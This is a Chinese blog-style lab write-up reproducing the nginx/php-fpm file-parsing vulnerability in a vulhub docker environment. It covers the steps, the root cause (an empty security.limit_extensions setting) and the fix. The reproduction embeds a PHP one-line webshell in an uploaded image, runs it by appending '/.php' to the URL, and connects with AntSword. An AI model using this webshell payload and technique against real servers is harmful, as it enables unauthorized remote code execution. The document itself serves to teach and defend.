0x00 实验环境
攻击机:Win 10
靶场:docker拉的vulhub靶场
0x01 影响版本
一些配置错误的情况,与nginx、php版本无关。
常常出现为nginx解析任意文件为php而导致解析漏洞。
0x02 漏洞复现
(1)上传一张正常的图片,然后在上传图片时进行抓包:
(2)如上图所示,在图片的数据报文中加入一句话木马:
<?php @eval($_POST['x']);?>
(3)上传完成后能看到图片上传的路径,点击访问,能成功访问到后,在图片文件名后加一个/.php
发现成功上传并成功解析为php文件。
(4)使用蚁剑直接连接即可:
0x03 漏洞原理
nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’)。
如下图就是个错误的配置:
在这个www-2.conf的配置文件中,security.limit_extensions被设置为了空,故什么文件都是可以执行的,所以在防护的时候,需要将这个配置为.php(即:仅为.php的文件才能执行)。
0x04 修复建议
设置security.limit_extensions=.php,重启一下服务即可。
0x05 参考文献
https://www.cnblogs.com/renhaoblog/p/12874603.html
https://idc.wanyunshuju.com/aqld/1875.html
0x06 免责声明
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!